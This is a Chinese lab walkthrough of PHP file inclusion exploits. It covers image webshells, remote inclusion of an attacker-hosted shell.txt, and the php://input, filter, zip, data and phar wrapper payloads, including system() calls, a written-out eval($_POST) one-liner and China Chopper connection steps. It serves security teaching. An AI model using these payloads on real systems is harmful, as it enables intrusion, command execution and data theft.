一、文件包含漏洞利用之本地包含配合文件上传包含图片马

原理:

文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。
制作图片马的方式有很多,常见的有两种:

  • 在图片后写入脚本代码
  • 在cmd中使用命令 copy 1.jpg/b+1.php/a 2.jpg
参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件

1、制作图片马,准备一个PHP脚本和一张图片

2、访问在浏览器中访问靶机:http://ip/up/up.html

3、上传图片马,图片马成功上传

4、访问http://ip/up/upload/info.jpg,上传的脚本文件不能解析,因为图片马需要配合文件包含漏洞或者解析漏洞

5、访问http://ip/include/include.php?page=../up/upload/info.jpg,包含图片马,图片马成功解析

可以把脚本改成一句话木马,与菜刀连用,入侵靶机


二、文件包含漏洞利用之远程包含Webshell

原理:

本地包含只能包含目标服务器本地已有的文件,若目标服务器本地不存在木马文件,则无法利用。因此可以借助远程文件包含漏洞,在操作机本地搭建Web服务器,远程包含木马文件Getshell。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、打开"phpStudy",启动操作机的Apache服务

3、在操作机的Web根目录下新建shell.txt文件

4、在浏览器中访问http://目标机ip/include.php?page=http://操作机ip/shell.txt,并发送post数据测试一句话木马可以解析

5、利用中国菜刀,在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP

6、点击“添加”,双击一句话木马地址

注:在无其他漏洞,只有文件包含漏洞,且目标服务器本地无shell文件可利用,又可以远程文件包含时,可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell。


三、PHP封装伪协议之php流input

原理:

PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:

利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、访问http://ip/include/include.php?page=php://input

3、勾选"Post data",在提交post数据的位置输入"<?php phpinfo();?>",并发送数据执行

4、发送"<?php system(‘dir’);?>"数据执行系统命令

5、发送"<?php system(‘whoami’);?>"数据执行系统命令

6、发送"<?php fputs(fopen(‘shell.php’,‘w’),’<?php phpinfo();?>’);?>"数据执行,生成shell脚本文件

7、访问http://ip/include/include.php?page=shell.php

注:利用PHP封装伪协议中的php流input,发送POST数据(可利用火狐的插件,也可以利用Burp Suite抓包修改数据包)进行命令执行,可以执行操作系统命令,也可以在服务器端生成木马文件,用Webshell管理工具连接木马文件。


四、PHP封装伪协议之php流filter

原理: 利用php流的filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。获取敏感信息。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、访问http://ip/include/include.php?page=php://filter/read=convert.base64-encode/resource=include.php

3、复制读取到的base64编码后的源码,借助火狐插件的base64解码功能(或者base64解码工具)

4、点击"确定",进行base64解码,可以读取指定文件的源码

注:利用PHP封装伪协议中的php流filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。也可以利用?page=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。虽然不能直接获取shell,但是读取敏感文件也是有很大危害的。


五、PHP封装伪协议之zip流

原理:利用zip流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。

1、新建info.txt文件

2、对info.txt文件进行zip压缩

3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html

4、点击“选择文件”按钮,选中要上传的文件

5、点击“submit”按钮,上传info.zip文件

6、访问http://ip/include/include.php

7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径

8、访问http://ip/include/include.php?page=zip://C:/server/apache22/htdocs/up/upload/info.zip%23info.txt

注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用zip协议需要指定绝对路径,使用相对路径会包含失败;同时将#编码为%23。


六、PHP封装伪协议之data流

原理:利用PHP封装伪协议中data数据流,通过文件包含漏洞进行命令执行。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、访问http://ip/include/include.php?page=data://text/plain,<?php phpinfo();?>,代码执行

3、也可以:将代码进行base64编码,访问http://ip/include/include.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

4、访问http://ip/include/include.php?page=data://text/plain,<?php system(‘whoami’);?>,系统命令执行

5、访问http://ip/include/include.php?page=data://text/plain,<?php @eval($_POST[666]);?>,执行一句话木马

6、打开菜刀,在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP

7、点击“添加”,双击一句话木马地址

注:利用PHP封装伪协议中的data流,进行代码执行和系统命令执行,也可以对代码进行base64编码,同样可以执行一句话木马,从而Getshell。


七、PHP封装伪协议之phar流

跟zip流相似,但是路径相对跟绝对都行

原理:利用phar流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。

1、新建info.txt文件

2、对info.txt文件进行zip压缩

3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html

4、点击“选择文件”按钮,选中要上传的文件

5、点击“submit”按钮,上传info.zip文件

6、访问http://ip/include/include.php

7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径

8、访问http://ip/include/include.php?page=phar://C:/server/apache22/htdocs/up/upload/info.zip/info.txt或者http://ip/include/include.php?page=phar://…/up/upload/info.zip/info.txt

注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用phar流绝对路径和相对路径都可以。

php流的用法表


这篇文章就写到这里了!

文件包含漏洞——实例相关推荐

  1. 文件包含漏洞实例操作

    文件包含漏洞实例操作 参考文章 本地文件包含漏洞 无限制本地文件包含漏洞 session文件包含漏洞 有限制本地文件包含漏洞 %00截断 路径长度截断 点号截断 远程文件包含漏洞 无限制远程文件包含漏 ...

  2. 文件包含漏洞(LFI、RFI)(require()、include()函数)

    文章目录 一.文件包含漏洞分类 二.文件包含漏洞原理 三.文件包含函数 四.测试是否存在本地文件包含(LFI)漏洞 五.文件包含漏洞实例 "百度杯"CTF比赛 2017 二月场in ...

  3. 【文件包含漏洞-02】文件包含漏洞原理、简单测试实例以及空字符绕过实例

    目录 1 文件包含漏洞 1.1 文件包含漏洞概述 1.2 文件包含漏洞的形成原因/条件 1.3 危害 2 文件包含漏洞简单测试实例 2.1 测试环境 2.2 实例一:本地文件包含 2.3 实例二:远程 ...

  4. index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

    CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...

  5. 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞

    前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...

  6. 网络安全——文件包含漏洞

    一.文件包含 1.什么是文件包含? 把可重复使用的函数写入到单个文件中,在需要使用该函数时,直接调用该文件,无需多次编写函数. 2.文件包含漏洞 原理: 利用条件: include等函数通过动态执行变 ...

  7. 文件操作之文件包含漏洞

    目录 本文仅供参考.交流.学习,如有违法行为后果自负 文件包含类型 原理方面 文件包含漏洞原理案例: 必要条件 那么如何去检测漏洞是否存在该漏洞? 白盒 黑盒 类型 本地文件包含 无限制 有限制 远程 ...

  8. CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析

    title: CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析 date: 2021-05-19 01:07:08 categ ...

  9. 【文件包含漏洞-01】文件包含漏洞成因与其包含语句及其相关配置

    文件包含 概述:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含. 程序开发人员都希望代码更加灵活,所以通常会把被 ...

最新文章

  1. No module named ‘fvcore.nn.distributed‘
  2. Postman使用方法示例
  3. mysql--字段--索引的增删改查
  4. Jquery-core.holdReady()
  5. css3如何向上_html5 – 使用CSS3不断向上动画气泡?
  6. c语言字符加密向后四位_Base64加密?它只是一种编码算法,切勿用来加密
  7. 2019年,ALEXA将会走向何方?
  8. 如何为运行的 ARM Linux 启用 LAD2.3 版本的诊断扩展
  9. 具有亲和力的文字隐藏方法
  10. Charles 映射本地文件map local
  11. 过年用计算机弹奏,过年实用,你可能需要的亲戚称呼计算器
  12. python组合数据类型包括_第六周 python组合数据类型
  13. notepad++中文版下载
  14. 使用xftp怎么向服务器传输文件,如何使用文件传输软件Xftp
  15. 永远的七日之都服务器维护,永远的7日之都5月23日更新内容 七日之都5.23更新公告...
  16. Kitkat中对class core, class main, class late_start的简单分析
  17. 计算机文档打不开是什么原因,电脑文件打不开怎么回事
  18. android AP热点(wifi热点)开发
  19. 一文说透安全沙箱技术
  20. Hack The Box——Omni

热门文章

  1. 项目管理高手常用的10种图表!
  2. 怎么在一台电脑上同时打开运行两个微信号
  3. 零基础入门小程序,实战经验分享
  4. 安装Phoenix时,执行./splline.py报错File “./sqlline.py“, line 25, in <module> import phoenix_utils File
  5. C语言 正序输出数字
  6. 阿里云视频点播上传与url播放
  7. 2020 12-23 视觉组作业
  8. Word中怎么用MathType编辑公式
  9. 【Mac 系列】Mac安装Mysql
  10. 软件开发中 前台、中台、后台英文_实战思考(一):如何搭建业务中台?